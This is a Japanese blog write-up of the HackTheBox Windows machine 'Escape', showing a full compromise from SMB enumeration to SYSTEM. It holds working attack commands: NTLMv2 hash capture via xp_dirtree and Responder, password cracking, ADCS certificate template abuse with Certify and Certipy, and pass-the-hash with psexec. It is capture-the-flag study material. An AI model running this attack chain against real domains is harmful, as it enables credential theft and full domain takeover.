今回はHackTheBoxのMediumマシン「Escape」のWriteUpです!
Escape、、、エスケープ処理が攻略に関わってくるのでしょうか。
グラフはまさにMediumといった形になっていますが、今回のマシンはWindowsなので、Linuxとは異なる観点が必要です。攻略目指して頑張ります!
HackTheBoxってなに?という方はこちらの記事を見てみてください!一緒にハッキングしましょう!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Escape
侵入
それでは、攻略を開始します。
まずは、いつものポートスキャンから行います。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ sudo nmap -Pn -n -v --reason -sS -p- -sC --min-rate=1000 -A 10.10.11.202 -oN nmap.log
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2023-06-18 20:32:41Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-06-18T20:34:22+00:00; +8h00m06s from scanner time.
| ssl-cert: Subject: commonName=dc.sequel.htb
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-06-18T20:34:22+00:00; +8h00m05s from scanner time.
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-06-18T20:34:22+00:00; +8h00m06s from scanner time.
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49687/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49688/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49705/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49709/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
55597/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Windowsなので、大量にポートが出てます。
よく見てみると、「sequel.htb」というドメイン名が出力されています。hostsファイルに記載しておきましょう。
では、445番が開いていたので、smbを調査していきます。
アクセス可能な共有を発見できるでしょうか。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ smbclient -N -L \\\\sequel.htb
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Public Disk
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available
NO PASSでアクセス可能な共有が出力されました!
この中でも、Publicが気になります。Publicの中をさらに列挙していきます。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ smbclient -N \\\\sequel.htb\\public
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Nov 19 20:51:25 2022
.. D 0 Sat Nov 19 20:51:25 2022
SQL Server Procedures.pdf A 49551 Fri Nov 18 22:39:43 2022
5184255 blocks of size 4096. 1474892 blocks available
PDFファイルを発見しました。SQLサーバの情報が書かれていそうです。
とりあえずローカルにダウンロードします。
smb: \> get "SQL Server Procedures.pdf"
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (50.4 KiloBytes/sec) (average 50.4 KiloBytes/sec)
ダウンロードできたら、内容を見てみましょう。
データベースのユーザ名とパスワードが記載されています!
impacket-mssqlclientを使用し、SQLへアクセスできるか試してみます。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ impacket-mssqlclient sequel.htb/PublicUser:GuestUserCantWrite1@10.10.11.202
Impacket v0.10.1.dev1+20230120.195338.34229464 - Copyright 2022 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
SQLへアクセスできました!
MSSQL
では、どのようなデータベースがあるかみてみましょう。
SQL> select name from master..sysdatabases;
name
------
master
tempdb
model
msdb
4つのデータベースを確認しましたが、これらは全てデフォルトのデータベースであり、特に情報はなさそうです。
どうやら、情報を取得するためにMSSQLを利用するわけではないようなので、他にできることを試します。
では、何をするかですが、まずはxp_cmdshellを使用しMSSQL経由でコマンドを実行できないか試します。
SQL> xp_cmdshell whoami
[-] ERROR(DC\SQLMOCK): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
コマンドを実行する権限がないようです。。
xp_cmdshellは諦めて、次に試すことはNet-NTLMv2を取得することです。Windowsは認証にNet-NTLMv2というチャレンジ/レスポンス認証プロトコルを使用しており、暗号化にユーザのパスワード/ハッシュを使用します。そのため、クラッキングによりパスワードが導き出せるかもしれません。Net-NTMLv2についての詳細は0xdfさんがとても分かりやすい記事を投稿されているので読んでみてください。
つまり何がしたいかというと、MSSQLに再接続する際の通信をキャプチャすることでハッシュを取得し、ハッシュを解読することでパスワードを取得したいということです。
そのために、まずはKali側でResponderを開始します。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ sudo responder -I tun0
待ち受けが完了したら、xp_dirtreeを実行し、通信を発生させます。
SQL> EXEC xp_dirtree '\\10.10.14.2\share'
xp_dirtreeを実行したら、Kali側で確認してみましょう。
[SMB] NTLMv2-SSP Client : 10.10.11.202
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash : sql_svc::sequel:3f0d0f1fd061d017:4DAFC24E35227B582054D177F0326A35:010100000000000000DCECE8D556D9011EB45AAC0DC55EBA000000000200080032005A003200460001001E00570049004E002D00370035004A003700460034004800300043004600390004003400570049004E002D00370035004A00370046003400480030004300460039002E0032005A00320046002E004C004F00430041004C000300140032005A00320046002E004C004F00430041004C000500140032005A00320046002E004C004F00430041004C000700080000DCECE8D556D901060004000200000008003000300000000000000000000000003000005F203CAC4EC7CA7A2148181ECDC38E1D510A6FBB4CDBFF35B5D4E7F7418CC3210A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0036000000000000000000
sql_svcのハッシュが出力されています!
では、このハッシュに対してjohnを実行し、解読できるか試してみましょう。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
REGGIE1234ronnie (sql_svc)
1g 0:00:00:09 DONE (2023-03-15 00:40) 0.1018g/s 1089Kp/s 1089Kc/s 1089KC/s REINLY..REDMAN69
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
解読に成功しました!!
sql_svcとしてのシェル
それでは、解読したパスワードを使用し、シェルを取得できるか試してみます。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sql_svc\Documents> whoami
sequel\sql_svc
シェルの取得に成功しました!
横移動
sql_svcのデスクトップを確認してみます。
*Evil-WinRM* PS C:\Users\sql_svc\Desktop> dir
*Evil-WinRM* PS C:\Users\sql_svc\Desktop>
ユーザフラグが見当たりません。横移動が必要なようです。
とりあえず、どのようなユーザがいるか列挙しておきます。Usersディレクトリ内をみてみましょう。
*Evil-WinRM* PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/7/2023 8:58 AM Administrator
d-r--- 7/20/2021 12:23 PM Public
d----- 2/1/2023 6:37 PM Ryan.Cooper
d----- 2/7/2023 8:10 AM sql_svc
新たに、Ryan.Cooperユーザを発見しました。認証情報を取得したりして、シェルの取得を目指します。
では、どこから列挙を始めるかですが、今回のsql_svcユーザはSQLサーバに関するユーザなので、SQL関係のディレクトリやファイルから調査してみます。
*Evil-WinRM* PS C:\SQLServer> dir
Directory: C:\SQLServer
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/7/2023 8:06 AM Logs
d----- 11/18/2022 1:37 PM SQLEXPR_2019
-a---- 11/18/2022 1:35 PM 6379936 sqlexpress.exe
-a---- 11/18/2022 1:36 PM 268090448 SQLEXPR_x64_ENU.exe
SQLServerディレクトリ内を見てみると、Logsやexeファイルを見つけました。まずは、Logsの中を見てみます。
*Evil-WinRM* PS C:\SQLServer\Logs> dir
Directory: C:\SQLServer\Logs
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/7/2023 8:06 AM 27608 ERRORLOG.BAK
BAKファイルを確認しました。内容をみてみましょう。
*Evil-WinRM* PS C:\SQLServer\Logs> type ERRORLOG.BAK
2022-11-18 13:43:05.96 Server Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
Sep 24 2019 13:48:23
Copyright (C) 2019 Microsoft Corporation
Express Edition (64-bit) on Windows Server 2019 Standard Evaluation 10.0 <X64> (Build 17763: ) (Hypervisor)
2022-11-18 13:43:05.97 Server UTC adjustment: -8:00
・・・
2022-11-18 13:43:07.44 Logon Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.72 spid51 Attempting to load library 'xpstar.dll' into memory. This is an informational message only. No user action is required.
・・・
ログの内容が出力されました。よく見てみると、ログの終盤あたりにRyan.CooperとNuclearMosquito3というユーザがログインに失敗している記録が残っていることが分かります。Ryan.Cooperユーザは先ほど確認したユーザですが、NuclearMosquito3というユーザは確認できませんでした。存在しないユーザでログインすることは考えにくいのでかなり違和感があります。
Ryan.Cooperとしてのシェル
ログをよく見てみると、RyanユーザとNuclearMosquito3というユーザのログインの時間が4秒ほどしか変わらないことが分かります。このことから私は、NuclearMosquito3はユーザ名ではなくパスワードであり、Ryanユーザログイン時に間違って入力してしまったのではないかという予想を立てました。
この予想が正しければRyanユーザとNuclearMosquito3というパスワードでシェルを取得できるはずです。
evil-winrmを試してみましょう。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ evil-winrm -i 10.10.11.202 -u Ryan.Cooper -p NuclearMosquito3
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> whoami
sequel\ryan.cooper
予想的中!パスワードとして機能し、シェルを取得できました!
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> dir
Directory: C:\Users\Ryan.Cooper\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/18/2023 1:15 PM 34 user.txt
やっとユーザフラグを確認できました!
権限昇格
それでは、最後の関門である権限昇格に移っていきましょう。
まずは、グループを調べます。
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
特に気になるグループは見つかりません。
では、次はなにを列挙すべきでしょうか。。。
winpeasなど色々列挙を行いましたが、結果として今回は証明書が攻略の手掛かりでした。
まず、nmapの出力でもldapを確認できています。認証情報を取得してADCSを特定します。ADCSとはADの証明書サービスです。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ crackmapexec ldap 10.10.11.202 -u ryan.cooper -p NuclearMosquito3 -M adcs
SMB 10.10.11.202 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
LDAPS 10.10.11.202 636 DC [+] sequel.htb\ryan.cooper:NuclearMosquito3
ADCS Found PKI Enrollment Server: dc.sequel.htb
ADCS Found CN: sequel-DC-CA
CNでsequel-DC-CAが使用されています。
それでは、Certify.exeを使用して、証明書に脆弱性がないか調べていきます。Certify.exeは下記のリポジトリからダウンロード可能です。
ダウンロードできたら、実際にマシン側にuploadしていきます。
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> upload /home/kali/Desktop/HackTheBox/tool/Certify.exe
Info: Uploading /home/kali/Desktop/HackTheBox/tool/Certify.exe to C:\Users\Ryan.Cooper\Desktop\Certify.exe
Data: 232104 bytes of 232104 bytes copied
Info: Upload successful!
アップロードが完了したら、実行しましょう。
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> ./certify.exe find /vulnerable
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./'
v1.0.0
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=sequel,DC=htb'
大量の出力が見られますが、特に気になる部分は下記の情報です。
[!] Vulnerable Certificates Templates :
CA Name : dc.sequel.htb\sequel-DC-CA
Template Name : UserAuthentication
Schema Version : 2
Validity Period : 10 years
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email
mspki-certificate-application-policy : Client Authentication, Encrypting File System, Secure Email
Permissions
Enrollment Permissions
Enrollment Rights : sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
sequel\Domain Users S-1-5-21-4078382237-1492182817-2568127209-513
sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
Object Control Permissions
Owner : sequel\Administrator S-1-5-21-4078382237-1492182817-2568127209-500
WriteOwner Principals : sequel\Administrator S-1-5-21-4078382237-1492182817-2568127209-500
sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
WriteDacl Principals : sequel\Administrator S-1-5-21-4078382237-1492182817-2568127209-500
sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
WriteProperty Principals : sequel\Administrator S-1-5-21-4078382237-1492182817-2568127209-500
sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
sequel\Domain Usersに証明書を作成できる権限があります。
これにより管理者の別名で証明書を要求し、権限昇格が行えるかもしれません。この手法に関しては、GhostPackのREADMEのシナリオ3でも紹介されています。
また、ここで確認しておく他の情報としては、テンプレート名です。これは証明書を要求するさいに指定する必要があります。
Template Name : UserAuthentication
テンプレート名はUserAuthenticationであり、ユーザを認証できることが分かりました。
追加で、msPKIのフラグも確認しておきます。
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
ENROLLEE_SUPPLIES_SUBJECTとなっていることから管理者を代替名として利用できることが分かりました。
ADCS VulnTemplate
では、シナリオ3を参考にしつつ、権限昇格を目指していきます。
まずは、管理者を代替名として使用し、証明書を要求します。
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> ./Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication
/altname:Administrator
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./'
v1.0.0
・・・
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA2nT4K5YQPsRjUpNsTRXF0Fy8OMYSHWPt5FxwtphIAwXTBpGa
AHlMRl0Jig0UaWNwwQc82jdaCJ1tLnYpPln4mNZZzpOd+265QnRctxyIXTn0x0t1
BixI0flI0WnaR4TChRkJbxdsvuRNuV356F6DxgihRUY57BPcWUJueUAqiHceT2yw
・・・
nJNCrQKBgAoKKF095CHLu9ggBA+1BJafHwwTj2YVLT1eaEReMtn4jGigTZMjaQF1
S4d8OeW/ORT3uFYTocxx401et4H41jpek+e5TkQDkKGVP87VM1/nyyxa6lHHbAp1
GjHAdMcN7O3dTvZE2aft0CR96MpmYeZYhnPraOr+gSBuoKVMfxI4
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGEjCCBPqgAwIBAgITHgAAAAq6D2XOXnDNkgAAAAAACjANBgkqhkiG9w0BAQsF
ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwHhcNMjMwNjE4MjMzNDQwWhcNMjUwNjE4
・・・
L61HuCK02Rmus3coS4cC0nCOVQMnrcrgK3NNZW6Q+9xTm5c4JwlAfbDYm3ui2fWf
JTPiJYMsJ8Rp6yPCxEy5rDDVgvihOs3fEJa40n3i2qj/z9mcaSFPa6y6kWqS2qwk
zFQam1GTmEweSfMd5H8plkwEEl3nuQqHxx3e5V2y/LApKYTH3w9HmCMzzDceKCSM
vfkn9sTbsHajP95cgo1Gr43MlFnM3g==
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:12.8563060
証明書が出力されました。
出力された証明書をpfx形式に変換します。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
変換できたので、あとはTGTを取得するだけです。ここでシナリオ3ではRubeusを使用しているのですが、証明書の権限昇格を調べていく上で、Certipyというツールの存在を知りました。下記のコマンドを実行することでダウンロードできます。
pip3 install certipy-ad
Certipyはリモート(Kali)からコマンドを実行できるため、マシン(Escape側)にアップロードする手間を省くことができます。さらに、オプションの指定も楽に行えるのでおすすめです。
では、Certipyを使用し、TGTを取得していきます。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ certipy auth -pfx cert.pfx -dc-ip 10.10.11.202 -username Administrator -domain sequel.htb
Certipy v4.3.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
エラーが出てしまいました。clock skew too greatと出力されているので、時間に問題があるのでしょうか。
調べてみると、時計の時刻に違いがあることから生じるエラーのようです。ntpdateを実行することでエラーを解消できます。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ sudo ntpdate 10.10.11.202
2023-03-18 02:46:51.313223 (+0900) +28799.641502 +/- 0.105183 10.10.11.202 s1 no-leap
CLOCK: time stepped by 28799.641502
ntpdateが実行できたので、再度Certipyを実行しましょう。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ certipy auth -pfx cert.pfx -dc-ip 10.10.11.202 -username Administrator -domain sequel.htb -debug
Certipy v4.3.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
NTLMハッシュの取得に成功しました!
rootとしてのシェル
それでは、ハッシュを使用してシェルを取得しましょう!
┌──(kali㉿kali)-[~]
└─$ impacket-psexec sequel.htb/Administrator@10.10.11.202 -hashes aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
Impacket v0.10.1.dev1+20230120.195338.34229464 - Copyright 2022 Fortra
[*] Requesting shares on 10.10.11.202.....
[*] Found writable share ADMIN$
[*] Uploading file uxyWLMjW.exe
[*] Opening SVCManager on 10.10.11.202.....
[*] Creating service CQNw on 10.10.11.202.....
[*] Starting service CQNw.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
権限昇格に成功しました!
C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is EB33-4140
Directory of C:\Users\Administrator\Desktop
02/06/2023 04:43 PM <DIR> .
02/06/2023 04:43 PM <DIR> ..
06/18/2023 01:15 PM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 6,022,668,288 bytes free
フラグも取得し、完全攻略達成です!!
攻略を終えて
今回のマシンはWindowsということもあり、Googleで調べる時間がかなり多かったです。特にMSSQLでのハッシュの取得は初めての経験であり、失敗して調べて失敗して調べての繰り返しでした笑
権限昇格も同じような感じで、調べる時間が多かったです。やはりWindowsは権限昇格を理解するのが非常に難しいと改めて思いました。今回はVulnTemplateで証明書の登録権限があることで管理者を代替名にした権限昇格が可能でしたが、同じ登録権限でもテンプレートに応じて複数のシナリオがありました。臨機応変に対応できるよう色々な手法をさらに勉強する必要があると痛感しました。
全体を通してMediumと言われれば納得です。Ryanユーザに関してはログにそのまま情報が載っていました。難しい部分もあれば簡単な部分もあったのでちょうどいいバランスだったと思います。
今後もHackTheBoxに関する記事を投稿していくので見ていただけると嬉しいです。
最後まで閲覧していただきありがとうございました!!